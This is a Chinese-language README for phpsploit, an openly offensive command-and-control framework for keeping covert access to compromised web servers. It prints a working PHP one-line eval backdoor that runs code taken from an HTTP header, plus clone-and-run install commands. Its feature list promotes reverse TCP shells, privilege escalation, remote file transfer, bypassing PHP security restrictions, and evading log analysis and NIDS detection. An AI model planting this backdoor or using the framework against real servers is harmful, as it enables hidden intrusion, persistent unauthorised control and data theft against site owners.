phpsploit

全功能C2框架，通过多态PHP单行代码在Web服务器上静默持久存在

codeclimate maintainability

概述

通过标准客户端请求与Web服务器相对响应中的HTTP头实现混淆通信，隧道经由一个微型多态后门：

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

快速开始

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

功能特性

• 高效：超过20个插件用于自动化权限提升任务

  • 运行命令并浏览文件系统，绕过PHP安全限制
  • 在客户端与目标之间上传/下载文件
  • 通过本地文本编辑器编辑远程文件
  • 在目标系统上运行SQL控制台
  • 生成反向TCP Shell

• 隐秘：该框架由偏执者为偏执者打造

  • 几乎对日志分析和NIDS签名检测不可见
  • 安全模式与常见的_PHP安全限制绕过_
  • 通信隐藏在HTTP头中
  • 加载的有效载荷经过混淆以_绕过NIDS_
  • 支持http/https/socks4/socks5 代理

• 便捷：稳健的界面，具有许多关键功能

  • 任何选项的详细帮助（help命令）
  • 客户端与服务器端均_跨平台_
  • 命令行支持自动补全与多命令
  • 会话保存/加载功能及持久化历史记录
  • 大有效载荷（如上传）的多请求支持
  • 提供强大、高度可配置的设置引擎
  • 每个设置（如user-agent）都有_多态模式_
  • 用于插件交互的可自定义环境变量
  • 提供完整的插件开发API

支持的平台（攻击方）：

• GNU/Linux
• Mac OS X

支持的平台（目标端）：

• GNU/Linux
• BSD-like
• Mac OS X
• Windows NT

贡献者

感谢以下出色的人们：

本项目遵循 all-contributors 规范。欢迎任何形式的贡献。